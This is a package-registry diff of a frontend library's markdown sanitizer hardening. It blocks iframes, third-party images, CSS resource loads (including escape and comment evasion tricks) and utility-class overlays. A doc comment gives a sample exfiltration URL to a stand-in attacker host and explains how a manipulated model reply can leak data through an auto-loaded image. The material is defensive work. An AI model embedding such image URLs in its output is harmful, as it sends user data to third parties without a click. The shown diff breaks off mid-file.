@flamingo-stack/openframe-frontend-core 0.0.810 → 0.0.812

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (128) hide show
  1. package/dist/{case-study-card-MEWJNF4N.cjs → case-study-card-3XLKCGLV.cjs} +7 -7
  2. package/dist/{chunk-CLMUD56S.cjs → chunk-2IZHRVKD.cjs} +26 -26
  3. package/dist/{chunk-XYZBN6D7.cjs → chunk-4IU462LR.cjs} +2 -2
  4. package/dist/{chunk-STLJCAIZ.cjs → chunk-4SZKJPQJ.cjs} +2 -2
  5. package/dist/{chunk-TOWVMBAP.cjs → chunk-4ZTGCCNI.cjs} +17 -17
  6. package/dist/{chunk-VXXOUM2K.cjs → chunk-5DBW6ERF.cjs} +4 -0
  7. package/dist/{chunk-GAHXURKJ.cjs → chunk-5QLDHPPU.cjs} +2 -2
  8. package/dist/{chunk-PIKHEBG5.cjs → chunk-6LZ4BI7Z.cjs} +52 -52
  9. package/dist/{chunk-5MTYKS2Q.cjs → chunk-743MM5B6.cjs} +4 -4
  10. package/dist/{chunk-ZXBRPQND.cjs → chunk-7HNZHENA.cjs} +17 -17
  11. package/dist/{chunk-4W77VLQV.cjs → chunk-7Q2PFKU3.cjs} +10 -10
  12. package/dist/{chunk-KVJKKVB3.cjs → chunk-7TBXHZLB.cjs} +9 -9
  13. package/dist/{chunk-VXAKQRV7.cjs → chunk-APOMNC7H.cjs} +5 -5
  14. package/dist/{chunk-OJZBZH56.cjs → chunk-CNTBGJA7.cjs} +3 -3
  15. package/dist/{chunk-TUZV2ZQY.cjs → chunk-COTJLBOS.cjs} +2 -2
  16. package/dist/{chunk-FLW2VL5W.cjs → chunk-CUDJP7R7.cjs} +24 -24
  17. package/dist/{chunk-B6DIM5JG.cjs → chunk-D2EPUQ35.cjs} +6 -6
  18. package/dist/{chunk-MSAXZRXZ.cjs → chunk-D322VUSH.cjs} +622 -621
  19. package/dist/{chunk-TOTR2WMH.cjs → chunk-DA2TWDGJ.cjs} +8 -8
  20. package/dist/{chunk-JLKGLPDC.cjs → chunk-E64HJMY6.cjs} +20 -20
  21. package/dist/{chunk-X2JSCOOR.cjs → chunk-EPMAMFQE.cjs} +100 -100
  22. package/dist/{chunk-MAQFG62O.cjs → chunk-FCFLZPID.cjs} +36 -36
  23. package/dist/{chunk-7PNRXJX2.cjs → chunk-FX35L4Y6.cjs} +3 -3
  24. package/dist/{chunk-5GJM7VRR.cjs → chunk-GI3MMBP3.cjs} +91 -26
  25. package/dist/{chunk-GG36TCKP.cjs → chunk-JMAKYJ3Q.cjs} +6 -6
  26. package/dist/{chunk-2C63MX75.cjs → chunk-JMRO7CK2.cjs} +23 -23
  27. package/dist/{chunk-F26COFTW.cjs → chunk-K7IX2NAG.cjs} +89 -89
  28. package/dist/{chunk-V4FXUIMH.cjs → chunk-LC65AC6M.cjs} +4 -4
  29. package/dist/{chunk-AQXKXZWB.cjs → chunk-MG3HJIGG.cjs} +4 -4
  30. package/dist/{chunk-ETI7OMPU.cjs → chunk-NEDFRRLM.cjs} +71 -71
  31. package/dist/{chunk-RKNCNL6K.cjs → chunk-OKI5KSUV.cjs} +28 -28
  32. package/dist/{chunk-3FBXQSSC.cjs → chunk-PQ76VC2P.cjs} +865 -671
  33. package/dist/{chunk-R2ABQG2T.cjs → chunk-RSLLS6C4.cjs} +53 -53
  34. package/dist/{chunk-PRCGRDHV.cjs → chunk-SC3I3YWM.cjs} +18 -18
  35. package/dist/{chunk-NG3RKTQU.cjs → chunk-SFUNXMY3.cjs} +8 -8
  36. package/dist/{chunk-J4QORJMC.cjs → chunk-TCMUVY3M.cjs} +113 -113
  37. package/dist/{chunk-ML3DG4SS.cjs → chunk-TS4PKCG3.cjs} +5 -5
  38. package/dist/{chunk-TGOJHOQR.cjs → chunk-U2MHQBL4.cjs} +3 -3
  39. package/dist/{chunk-EKDLVUEA.cjs → chunk-VEN6MGNX.cjs} +50 -50
  40. package/dist/{chunk-FCFYZIOY.cjs → chunk-VPYGK4AV.cjs} +22 -22
  41. package/dist/{chunk-I3RJLXEL.cjs → chunk-VT2ACO3Z.cjs} +159 -159
  42. package/dist/{chunk-FRS2VO22.cjs → chunk-VYLBW6ZV.cjs} +41 -41
  43. package/dist/{chunk-RPBOWCME.cjs → chunk-WFJDKP2Q.cjs} +17 -17
  44. package/dist/{chunk-CZWQCYKV.cjs → chunk-XB7VPJNY.cjs} +3 -3
  45. package/dist/{chunk-VHX4A4SA.cjs → chunk-XZKYU57A.cjs} +2 -2
  46. package/dist/{chunk-SZHDXXMK.cjs → chunk-YSDB6HGQ.cjs} +3 -3
  47. package/dist/{chunk-TT64NRFU.cjs → chunk-ZFUNSXSH.cjs} +7 -7
  48. package/dist/{cloud-tenants-QTASS5KP.cjs → cloud-tenants-CW3I7AIM.cjs} +27 -27
  49. package/dist/components/case-studies/index.cjs +43 -43
  50. package/dist/components/chat/entity-cards/dispatch.d.ts.map +1 -1
  51. package/dist/components/chat/entity-cards/dispatch.js +4 -1
  52. package/dist/components/chat/index.cjs +21 -21
  53. package/dist/components/chat/utils/icon-registry.d.ts.map +1 -1
  54. package/dist/components/chat/utils/icon-registry.js +4 -0
  55. package/dist/components/contact/index.cjs +28 -28
  56. package/dist/components/docs/index.cjs +31 -31
  57. package/dist/components/embeds/index.cjs +28 -28
  58. package/dist/components/faq/index.cjs +29 -29
  59. package/dist/components/features/devices/devices-table-columns.d.ts.map +1 -1
  60. package/dist/components/features/devices/devices-table-columns.js +1 -1
  61. package/dist/components/features/index.cjs +27 -27
  62. package/dist/components/help-center-pages/index.cjs +133 -133
  63. package/dist/components/index.cjs +98 -98
  64. package/dist/components/meeting-scheduler/index.cjs +143 -97
  65. package/dist/components/meeting-scheduler/index.d.ts +30 -1
  66. package/dist/components/meeting-scheduler/index.d.ts.map +1 -1
  67. package/dist/components/meeting-scheduler/index.js +43 -3
  68. package/dist/components/navigation/index.cjs +30 -30
  69. package/dist/components/onboarding-guides/index.cjs +30 -30
  70. package/dist/components/product-demo/index.cjs +38 -38
  71. package/dist/components/related-content/index.cjs +16 -16
  72. package/dist/components/tickets/index.cjs +34 -34
  73. package/dist/components/ui/index.cjs +27 -27
  74. package/dist/components/ui/markdown/base-components.d.ts.map +1 -1
  75. package/dist/components/ui/markdown/base-components.js +6 -7
  76. package/dist/components/ui/markdown/engine.d.ts +7 -0
  77. package/dist/components/ui/markdown/engine.d.ts.map +1 -1
  78. package/dist/components/ui/markdown/engine.js +12 -3
  79. package/dist/components/ui/markdown/external-media-notice.d.ts +33 -0
  80. package/dist/components/ui/markdown/external-media-notice.d.ts.map +1 -0
  81. package/dist/components/ui/markdown/external-media-notice.js +56 -0
  82. package/dist/components/ui/markdown/mermaid-diagram.d.ts +24 -2
  83. package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +1 -1
  84. package/dist/components/ui/markdown/mermaid-diagram.js +66 -6
  85. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +4 -4
  86. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +1 -1
  87. package/dist/components/ui/markdown/rich/rich-markdown-renderer.js +2 -1
  88. package/dist/components/ui/markdown/sanitize.d.ts +28 -3
  89. package/dist/components/ui/markdown/sanitize.d.ts.map +1 -1
  90. package/dist/components/ui/markdown/sanitize.js +84 -12
  91. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +3 -2
  92. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +1 -1
  93. package/dist/{devices-KPMQI57Y.cjs → devices-KKRAB4Q2.cjs} +28 -28
  94. package/dist/{embeddable-chat-LB7NDFVQ.cjs → embeddable-chat-5UO66U4F.cjs} +93 -93
  95. package/dist/hooks/index.cjs +13 -13
  96. package/dist/index.cjs +33 -33
  97. package/dist/{knowledge-JWGBY3ZJ.cjs → knowledge-Z2PTGBA3.cjs} +28 -28
  98. package/dist/{logs-QENTXKWY.cjs → logs-6T5VK2TY.cjs} +35 -35
  99. package/dist/{policies-2HXFZ2EL.cjs → policies-JPIC5YDE.cjs} +31 -31
  100. package/dist/{remote-session-LMUFV2RZ.cjs → remote-session-VBVUMIUP.cjs} +12 -12
  101. package/dist/{scripts-TMXULK6L.cjs → scripts-BSYJJFBQ.cjs} +34 -34
  102. package/dist/{software-update-H2LAEWDN.cjs → software-update-KVEYYORC.cjs} +31 -31
  103. package/dist/{tickets-board-QF5JNSH2.cjs → tickets-board-YRZ54JJS.cjs} +16 -16
  104. package/dist/utils/app-origins.d.ts +41 -0
  105. package/dist/utils/app-origins.d.ts.map +1 -0
  106. package/dist/utils/app-origins.js +51 -0
  107. package/dist/utils/embed-auth-adapter-registry.d.ts +7 -0
  108. package/dist/utils/embed-auth-adapter-registry.d.ts.map +1 -0
  109. package/dist/utils/embed-auth-adapter-registry.js +34 -0
  110. package/dist/utils/embed-authed-fetch.d.ts.map +1 -1
  111. package/dist/utils/embed-authed-fetch.js +6 -19
  112. package/dist/utils/index.cjs +32 -12
  113. package/dist/{video-file-player-2FMFCGXE.cjs → video-file-player-4QMVTOBE.cjs} +3 -3
  114. package/package.json +1 -1
  115. package/src/components/chat/entity-cards/dispatch.tsx +12 -1
  116. package/src/components/chat/utils/icon-registry.ts +4 -0
  117. package/src/components/features/devices/devices-table-columns.tsx +5 -2
  118. package/src/components/meeting-scheduler/index.tsx +85 -3
  119. package/src/components/ui/markdown/base-components.tsx +6 -7
  120. package/src/components/ui/markdown/engine.tsx +29 -5
  121. package/src/components/ui/markdown/external-media-notice.tsx +84 -0
  122. package/src/components/ui/markdown/mermaid-diagram.tsx +107 -5
  123. package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +11 -5
  124. package/src/components/ui/markdown/sanitize.ts +162 -15
  125. package/src/components/ui/markdown/simple-markdown-renderer.tsx +6 -2
  126. package/src/utils/app-origins.ts +95 -0
  127. package/src/utils/embed-auth-adapter-registry.ts +49 -0
  128. package/src/utils/embed-authed-fetch.ts +7 -35
@@ -37,6 +37,7 @@
37
37
  import type { Element, ElementContent, Properties, Root, RootContent } from 'hast';
38
38
  import { defaultUrlTransform } from 'react-markdown';
39
39
  import { defaultSchema } from 'rehype-sanitize';
40
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins, type AppOrigins } from '../../../utils/app-origins';
40
41
  import { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences';
41
42
 
42
43
  // ---------------------------------------------------------------------------
@@ -49,8 +50,12 @@ import { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences'
49
50
  *
50
51
  * `video` is deliberately NOT in the baseline: chat strips <video>
51
52
  * server-side and playback goes through the <Video> SSOT. The rich
52
- * composition opts back in via `extraAllowedHtmlTags={['video', 'source']}`
53
+ * composition opts back in via `extraAllowedHtmlTags`
53
54
  * so authored content (blog publisher video injection) keeps working.
55
+ *
56
+ * `iframe` is not in the baseline either: on the chat surface it put a
57
+ * third-party document inside the app, a ready-made phishing page. The rich
58
+ * composition opts back in the same way, for embeds pasted into posts.
54
59
  */
55
60
  export const SAFE_HTML_TAGS = new Set([
56
61
  // Block + inline text
@@ -134,12 +139,11 @@ export const SAFE_HTML_TAGS = new Set([
134
139
  'center',
135
140
  'font',
136
141
  'big',
137
- // Media ('video' intentionally excluded — see the header comment)
142
+ // Media ('video' and 'iframe' intentionally excluded — see the header comment)
138
143
  'img',
139
144
  'picture',
140
145
  'source',
141
146
  'audio',
142
- 'iframe',
143
147
  'track',
144
148
  // Forms (rehype-raw allows them; mostly harmless for chat output)
145
149
  'button',
@@ -563,6 +567,91 @@ function srcsetHasUnsafeCandidate(srcset: string): boolean {
563
567
 
564
568
  const STRIP_ELEMENTS = new Set(['script', 'style', 'noscript', 'noembed', 'object', 'embed', 'applet', 'base', 'meta']);
565
569
 
570
+ /**
571
+ * Attributes the browser fetches on its own the moment the element renders,
572
+ * with no click: `img`/`source`/`audio`/`track` `src`, `srcset`, `poster`.
573
+ */
574
+ const MEDIA_URL_ATTRS = new Set(['src', 'srcset', 'poster']);
575
+
576
+ /**
577
+ * A CSS declaration that can load a resource: `url(…)` (except a `url(#id)`
578
+ * reference into the same document, which inline SVG gradients use),
579
+ * `image-set(…)` / `image(…)` / `src(…)`, which take a bare string, and any
580
+ * backslash, because a CSS escape spells `url` without the letters
581
+ * (`u\72 l(…)`). Over-matching only drops decoration.
582
+ */
583
+ const CSS_RESOURCE_RE = /\\|url\((?!\s*['"]?\s*#)|image(?:-set)?\(|\bsrc\(/i;
584
+
585
+ /**
586
+ * CSS comments, unterminated ones included. The style parser behind React's
587
+ * `style` prop deletes them before it reads a value, so `posi`, a comment and
588
+ * `tion:fixed` arrive as `position:fixed`, and `u`, a comment and `rl(…)` as
589
+ * `url(…)`. Every check on a CSS value runs on the text with them removed,
590
+ * and the scrubbed style is written back without them.
591
+ */
592
+ const CSS_COMMENT_RE = /\/\*[\s\S]*?(?:\*\/|$)/g;
593
+ const stripCssComments = (css: string): string => css.replace(CSS_COMMENT_RE, '');
594
+
595
+ /**
596
+ * SVG presentation attributes that take a `url(…)` to another document's
597
+ * paint server, marker, clip path, mask or filter (hast keys, lowercased). A
598
+ * browser fetches a cross-origin one as soon as the element renders.
599
+ */
600
+ const SVG_URL_ATTRS = new Set([
601
+ 'fill',
602
+ 'stroke',
603
+ 'markerstart',
604
+ 'markermid',
605
+ 'markerend',
606
+ 'clippath',
607
+ 'mask',
608
+ 'filter',
609
+ ]);
610
+
611
+ /**
612
+ * The classes the markdown pipeline puts on its own elements (GFM task lists
613
+ * and footnotes, the code language). Untrusted content keeps only these: the
614
+ * app's utility classes are in the page's CSS, so `<div class="fixed inset-0
615
+ * z-50">` is the same full-page overlay the style guard strips, spelled as
616
+ * classes.
617
+ */
618
+ const PIPELINE_CLASSES = new Set([
619
+ 'task-list-item',
620
+ 'contains-task-list',
621
+ 'footnotes',
622
+ 'sr-only',
623
+ 'data-footnote-backref',
624
+ ]);
625
+ const isPipelineClass = (name: string): boolean => PIPELINE_CLASSES.has(name) || /^language-[\w+#-]+$/.test(name);
626
+
627
+ function hasRemoteMediaUrl(attr: string, value: string, origins: AppOrigins): boolean {
628
+ if (attr !== 'srcset') return !isAppOriginUrl(value.trim(), origins);
629
+ return value.split(',').some(candidate => !isAppOriginUrl(candidate.trim().split(/\s+/)[0] ?? '', origins));
630
+ }
631
+
632
+ export interface RehypeStripUnsafeOptions {
633
+ /**
634
+ * Let media load from any origin. Off, media loads only from the app (see
635
+ * `isAppOriginUrl`): a third-party `src` / `srcset` / `poster`, every CSS
636
+ * declaration and SVG attribute that can load a resource are dropped. A
637
+ * third-party `img[src]` moves to `data-blocked-src`, where the `img`
638
+ * renderer draws a notice in its place (`ExternalMediaNotice`). Untrusted content
639
+ * must keep it off: an image URL is a request its author receives, and
640
+ * `![](https://attacker.example/?d=…)` in a model reply carries whatever the
641
+ * reply was made to put there, with no click.
642
+ */
643
+ allowRemoteMedia?: boolean;
644
+ /**
645
+ * The app's origins to decide against. Defaults to the app's origins when
646
+ * the plugin is built; the engine passes a snapshot so that a hydrating
647
+ * render gives the server's answer.
648
+ */
649
+ appOrigins?: AppOrigins;
650
+ }
651
+
652
+ /** The origins media may load from; `null` when it may load from anywhere (`allowRemoteMedia`). */
653
+ type MediaOrigins = AppOrigins | null;
654
+
566
655
  /**
567
656
  * Returns `properties` with the unsafe attributes dropped or rewritten, or the
568
657
  * ORIGINAL object when nothing had to change.
@@ -571,10 +660,13 @@ const STRIP_ELEMENTS = new Set(['script', 'style', 'noscript', 'noembed', 'objec
571
660
  * so a clean element keeps its own properties object — and, via
572
661
  * `scrubElement`, its node identity.
573
662
  */
574
- function scrubProperties(properties: Properties, tag: string): Properties {
663
+ function scrubProperties(properties: Properties, tag: string, media: MediaOrigins): Properties {
575
664
  if (!properties || typeof properties !== 'object') return properties;
576
665
 
577
666
  let next: Properties | undefined;
667
+ // Set once the loop is over: the author's own `data-blocked-src`, wherever it
668
+ // falls in the key order, must not survive, and ours must.
669
+ let blockedSrc: string | null = null;
578
670
 
579
671
  for (const key of Object.keys(properties)) {
580
672
  const lower = key.toLowerCase();
@@ -602,6 +694,22 @@ function scrubProperties(properties: Properties, tag: string): Properties {
602
694
  delete next[key];
603
695
  continue;
604
696
  }
697
+ if (media && MEDIA_URL_ATTRS.has(lower)) {
698
+ const v = Array.isArray(raw) ? raw.join(',') : raw;
699
+ if (typeof v === 'string' && hasRemoteMediaUrl(lower, v, media)) {
700
+ next ??= { ...properties };
701
+ delete next[key];
702
+ if (tag === 'img' && lower === 'src') blockedSrc = absoluteHttpUrl(v, media);
703
+ continue;
704
+ }
705
+ }
706
+ if (media && SVG_URL_ATTRS.has(lower) && typeof raw === 'string') {
707
+ if (CSS_RESOURCE_RE.test(stripCssComments(raw))) {
708
+ next ??= { ...properties };
709
+ delete next[key];
710
+ continue;
711
+ }
712
+ }
605
713
  // OVERLAY / UI-REDRESS GUARD. `style` is allowed (a content audit found
606
714
  // real published posts relying on it for `div.takeaway`, table styling
607
715
  // and reddit blockquotes), but the positioning subset of CSS is not a
@@ -624,10 +732,12 @@ function scrubProperties(properties: Properties, tag: string): Properties {
624
732
  // header, say) loses it — deliberately, because there is no way to tell
625
733
  // it apart from the redress payload at this layer, and a sticky header is
626
734
  // a smaller loss than a full-page phishing surface.
627
- if (lower === 'style' && typeof raw === 'string' && POSITIONING_DECL_RE.test(raw)) {
628
- const cleaned = raw
735
+ const dropDecl = (decl: string) => POSITIONING_DECL_RE.test(decl) || (media !== null && CSS_RESOURCE_RE.test(decl));
736
+ const css = lower === 'style' && typeof raw === 'string' ? stripCssComments(raw) : null;
737
+ if (css !== null && (css !== raw || css.split(';').some(dropDecl))) {
738
+ const cleaned = css
629
739
  .split(';')
630
- .filter(decl => !POSITIONING_DECL_RE.test(decl))
740
+ .filter(decl => !dropDecl(decl))
631
741
  .join(';')
632
742
  .trim();
633
743
  next ??= { ...properties };
@@ -636,6 +746,25 @@ function scrubProperties(properties: Properties, tag: string): Properties {
636
746
  }
637
747
  }
638
748
 
749
+ if (media) {
750
+ // The notice reads `data-blocked-src`; content must not write one of its own.
751
+ if ('dataBlockedSrc' in properties) {
752
+ next ??= { ...properties };
753
+ delete next.dataBlockedSrc;
754
+ }
755
+ if (blockedSrc) {
756
+ next ??= { ...properties };
757
+ next.dataBlockedSrc = blockedSrc;
758
+ }
759
+ const classes = properties.className;
760
+ if (Array.isArray(classes) && classes.some(c => !isPipelineClass(String(c)))) {
761
+ next ??= { ...properties };
762
+ const kept = classes.filter(c => isPipelineClass(String(c)));
763
+ if (kept.length) next.className = kept;
764
+ else delete next.className;
765
+ }
766
+ }
767
+
639
768
  return next ?? properties;
640
769
  }
641
770
 
@@ -644,16 +773,32 @@ function scrubProperties(properties: Properties, tag: string): Properties {
644
773
  * and all); otherwise the element with its attributes scrubbed and its
645
774
  * children rebuilt. Returns the ORIGINAL node when nothing changed.
646
775
  */
647
- function scrubElement(node: Element): Element | undefined {
776
+ function scrubElement(node: Element, media: MediaOrigins): Element | undefined {
648
777
  const tag = String(node.tagName ?? '').toLowerCase();
649
778
  if (STRIP_ELEMENTS.has(tag)) return undefined;
650
- const properties = scrubProperties(node.properties, tag);
651
- const children = scrubElementChildren(node.children);
779
+ const properties = scrubProperties(node.properties, tag, media);
780
+ let children = scrubElementChildren(node.children, media);
781
+ if (media && tag === 'a') children = blockedImagesAsText(children);
652
782
  if (properties === node.properties && children === node.children) return node;
653
783
  return { ...node, properties, children };
654
784
  }
655
785
 
656
- function scrubElementChildren(children: ElementContent[]): ElementContent[] {
786
+ /**
787
+ * A third-party image inside a link (`[![alt](src)](href)`) becomes the link's
788
+ * text: a blocked-image notice inside a link would turn the notice itself into
789
+ * the thing to click. The reader still has the link; the image never loads.
790
+ */
791
+ function blockedImagesAsText(children: ElementContent[]): ElementContent[] {
792
+ if (!children.some(c => c.type === 'element' && c.tagName === 'img' && c.properties.dataBlockedSrc)) return children;
793
+ return children.map(child => {
794
+ if (child.type !== 'element' || child.tagName !== 'img' || !child.properties.dataBlockedSrc) return child;
795
+ const alt =
796
+ typeof child.properties.alt === 'string' && child.properties.alt.trim() ? child.properties.alt : 'Image';
797
+ return { type: 'text', value: alt };
798
+ });
799
+ }
800
+
801
+ function scrubElementChildren(children: ElementContent[], media: MediaOrigins): ElementContent[] {
657
802
  const out: ElementContent[] = [];
658
803
  let changed = false;
659
804
  for (const child of children) {
@@ -661,7 +806,7 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
661
806
  out.push(child);
662
807
  continue;
663
808
  }
664
- const kept = scrubElement(child);
809
+ const kept = scrubElement(child, media);
665
810
  if (kept === undefined) {
666
811
  changed = true;
667
812
  continue;
@@ -675,7 +820,8 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
675
820
  /**
676
821
  * Defense-in-depth strip pass: drops the never-safe elements outright and
677
822
  * scrubs event handlers, unsafe URL schemes, `iframe[srcdoc]` and the
678
- * positioning subset of `style` off everything else.
823
+ * positioning subset of `style` off everything else — and, unless
824
+ * `allowRemoteMedia`, every media URL from outside the app.
679
825
  *
680
826
  * A pure rebuild rather than an in-place walk. `rehype-raw` and
681
827
  * `rehype-sanitize` — the two passes immediately before this one in
@@ -689,7 +835,8 @@ function scrubElementChildren(children: ElementContent[]): ElementContent[] {
689
835
  * affect the result, and dropping a strip-listed element here removes exactly
690
836
  * the subtree the old `splice`-then-`return index` removed.
691
837
  */
692
- export function rehypeStripUnsafe() {
838
+ export function rehypeStripUnsafe({ allowRemoteMedia = false, appOrigins }: RehypeStripUnsafeOptions = {}) {
839
+ const media: MediaOrigins = allowRemoteMedia ? null : (appOrigins ?? readAppOrigins());
693
840
  return (tree: Root): Root => {
694
841
  const out: RootContent[] = [];
695
842
  let changed = false;
@@ -698,7 +845,7 @@ export function rehypeStripUnsafe() {
698
845
  out.push(child);
699
846
  continue;
700
847
  }
701
- const kept = scrubElement(child);
848
+ const kept = scrubElement(child, media);
702
849
  if (kept === undefined) {
703
850
  changed = true;
704
851
  continue;
@@ -11,11 +11,15 @@
11
11
  import type React from 'react';
12
12
  import { MarkdownEngine, type MarkdownEngineProps } from './engine';
13
13
 
14
- export interface SimpleMarkdownRendererProps extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags'> {}
14
+ export interface SimpleMarkdownRendererProps extends Omit<
15
+ MarkdownEngineProps,
16
+ 'extraAllowedHtmlTags' | 'allowRemoteMedia'
17
+ > {}
15
18
 
16
19
  /**
17
20
  * A type-narrowed ALIAS of the engine, not a wrapper: the composition adds
18
- * no behavior (it only hides `extraAllowedHtmlTags` from the prop surface),
21
+ * no behavior (it only hides `extraAllowedHtmlTags` and `allowRemoteMedia`
22
+ * from the prop surface, so chat content can never widen the sanitizer),
19
23
  * and `MarkdownEngine` is already `memo`'d. Wrapping it in a second `memo`
20
24
  * bought nothing and cost an extra shallow-compare pass plus a fiber per
21
25
  * chat segment.
@@ -0,0 +1,95 @@
1
+ import { readRegisteredAdapter, subscribeRegisteredAdapter } from './embed-auth-adapter-registry';
2
+
3
+ /**
4
+ * Where the app loads from: the page, and the origins the host sanctions in
5
+ * `EmbedAuthAdapter.allowedOrigins` (the gateway of a native shell, whose page
6
+ * origin is `capacitor://` / `tauri://`). Untrusted markdown may load media
7
+ * only from here; `embedAuthedFetch` sends the bearer only here.
8
+ */
9
+ export interface AppOrigins {
10
+ /** The page's root URL (`https://host/`, `capacitor://localhost/`); `null` on the server, where there is no page. */
11
+ readonly pageUrl: string | null;
12
+ readonly allowedOrigins: readonly string[];
13
+ }
14
+
15
+ /** The server's answer, and the first one a hydrating client gives: only relative URLs belong to the app. */
16
+ export const SERVER_APP_ORIGINS: AppOrigins = Object.freeze({ pageUrl: null, allowedOrigins: Object.freeze([]) });
17
+
18
+ /** Base relative URLs resolve against without a page: only a relative URL lands on it. */
19
+ const SERVER_PAGE_URL = 'http://app.invalid/';
20
+
21
+ let snapshot: AppOrigins = SERVER_APP_ORIGINS;
22
+
23
+ /**
24
+ * The app's origins now. Same object until they change, so it can be a
25
+ * `useSyncExternalStore` snapshot (`subscribeAppOrigins` reports the change).
26
+ */
27
+ export function readAppOrigins(): AppOrigins {
28
+ if (typeof window === 'undefined') return SERVER_APP_ORIGINS;
29
+ // The page's root, not its full URL: only the origin decides, and a snapshot
30
+ // that changed with every `?tab=` would re-parse every markdown body on the
31
+ // page. Parsed from `href` rather than read from `window.location.origin`:
32
+ // tests mock `window.location` as a plain object without an `origin` field.
33
+ let pageUrl: string;
34
+ try {
35
+ pageUrl = new URL('/', window.location.href).href;
36
+ } catch {
37
+ return SERVER_APP_ORIGINS;
38
+ }
39
+ const allowedOrigins = readRegisteredAdapter<{ allowedOrigins?: readonly string[] }>()?.allowedOrigins ?? [];
40
+ if (
41
+ snapshot.pageUrl !== pageUrl ||
42
+ snapshot.allowedOrigins.length !== allowedOrigins.length ||
43
+ snapshot.allowedOrigins.some((origin, i) => origin !== allowedOrigins[i])
44
+ ) {
45
+ snapshot = { pageUrl, allowedOrigins: [...allowedOrigins] };
46
+ }
47
+ return snapshot;
48
+ }
49
+
50
+ /** Called when a host registers, replaces or clears its auth adapter, which can change `allowedOrigins`. */
51
+ export const subscribeAppOrigins: (listener: () => void) => () => void = subscribeRegisteredAdapter;
52
+
53
+ /**
54
+ * `url` resolved against the page when it belongs to the app, otherwise `null`.
55
+ *
56
+ * The page match compares scheme and host instead of `URL.origin`, which is
57
+ * `"null"` for a `capacitor://` page.
58
+ */
59
+ export function resolveAppOriginUrl(url: string, origins: AppOrigins = readAppOrigins()): URL | null {
60
+ let page: URL;
61
+ let target: URL;
62
+ try {
63
+ page = new URL(origins.pageUrl ?? SERVER_PAGE_URL);
64
+ target = new URL(url, page);
65
+ } catch {
66
+ return null;
67
+ }
68
+ if (target.protocol === page.protocol && target.host === page.host) return target;
69
+ if (target.protocol !== 'http:' && target.protocol !== 'https:') return null;
70
+ return origins.allowedOrigins.includes(target.origin) ? target : null;
71
+ }
72
+
73
+ /**
74
+ * Whether `url` loads from the app itself rather than from a third party.
75
+ * Untrusted markdown may only load media from here: a third-party `<img src>`
76
+ * is a request the content's author receives, with whatever the URL carries.
77
+ * Pass `origins` to decide against a snapshot (a render that must give the
78
+ * server's answer while it hydrates); it defaults to the app's origins now.
79
+ */
80
+ export function isAppOriginUrl(url: string, origins?: AppOrigins): boolean {
81
+ return resolveAppOriginUrl(url, origins) !== null;
82
+ }
83
+
84
+ /**
85
+ * `url` as an absolute http(s) URL against `origins`' page, for a notice to
86
+ * name its host; `null` when it is not http(s).
87
+ */
88
+ export function absoluteHttpUrl(url: string, origins: AppOrigins = readAppOrigins()): string | null {
89
+ try {
90
+ const resolved = new URL(url.trim(), origins.pageUrl ?? SERVER_PAGE_URL);
91
+ return resolved.protocol === 'http:' || resolved.protocol === 'https:' ? resolved.href : null;
92
+ } catch {
93
+ return null;
94
+ }
95
+ }
@@ -0,0 +1,49 @@
1
+ /**
2
+ * The slot the host's auth adapter (`setEmbedAuthAdapter`) is registered in, and the listeners told when it changes.
3
+ *
4
+ * Both are parked on `globalThis`, NOT in module-private `let`s. Reason: this lib ships multiple entry points
5
+ * (`/utils`, `/components/chat`, …) and a consumer's bundler can inline a file into more than one chunk, giving each
6
+ * chunk its OWN module scope. If the host calls `setEmbedAuthAdapter` from the `/utils` copy while the chat's
7
+ * `embedAuthedFetch` runs from the `/components/chat` copy, a module-local `let` would be set on one copy and read as
8
+ * `null` on the other (the exact "credentials: same-origin, no Bearer, no refresh" symptom). The listeners follow the
9
+ * slot for the same reason: one registered in another copy must still hear about the change.
10
+ *
11
+ * No imports, so the readers (`embed-authed-fetch`, `app-origins`) do not depend on each other through it.
12
+ */
13
+ const ADAPTER_GLOBAL_KEY = '__embedAuthedFetchAdapter__';
14
+ const LISTENERS_GLOBAL_KEY = '__embedAuthedFetchAdapterListeners__';
15
+
16
+ type Slots = Record<string, unknown>;
17
+
18
+ function listeners(): Set<() => void> {
19
+ const slots = globalThis as Slots;
20
+ let set = slots[LISTENERS_GLOBAL_KEY] as Set<() => void> | undefined;
21
+ if (!set) {
22
+ set = new Set();
23
+ slots[LISTENERS_GLOBAL_KEY] = set;
24
+ }
25
+ return set;
26
+ }
27
+
28
+ /** The registered adapter, typed by the caller (the slot itself does not know the adapter's shape). */
29
+ export function readRegisteredAdapter<T>(): T | null {
30
+ if (typeof globalThis === 'undefined') return null;
31
+ return ((globalThis as Slots)[ADAPTER_GLOBAL_KEY] as T | null | undefined) ?? null;
32
+ }
33
+
34
+ /** Store the adapter (or `null`) and tell every listener, in every copy of this module. */
35
+ export function writeRegisteredAdapter(adapter: unknown): void {
36
+ if (typeof globalThis === 'undefined') return;
37
+ (globalThis as Slots)[ADAPTER_GLOBAL_KEY] = adapter;
38
+ for (const listener of [...listeners()]) listener();
39
+ }
40
+
41
+ /** Called after every registration, replacement or clear. */
42
+ export function subscribeRegisteredAdapter(listener: () => void): () => void {
43
+ if (typeof globalThis === 'undefined') return () => {};
44
+ const set = listeners();
45
+ set.add(listener);
46
+ return () => {
47
+ set.delete(listener);
48
+ };
49
+ }
@@ -20,6 +20,8 @@
20
20
  * (e.g. `/api/profile/me`) keep using vanilla `fetch`.
21
21
  */
22
22
 
23
+ import { resolveAppOriginUrl } from './app-origins';
24
+ import { readRegisteredAdapter, writeRegisteredAdapter } from './embed-auth-adapter-registry';
23
25
  import { applyProxyAuth } from './embed-proxy-auth-storage';
24
26
 
25
27
  // =============================================================================
@@ -139,28 +141,9 @@ export interface EmbedAuthAdapter {
139
141
  subscribe?: (listener: () => void) => () => void;
140
142
  }
141
143
 
142
- /**
143
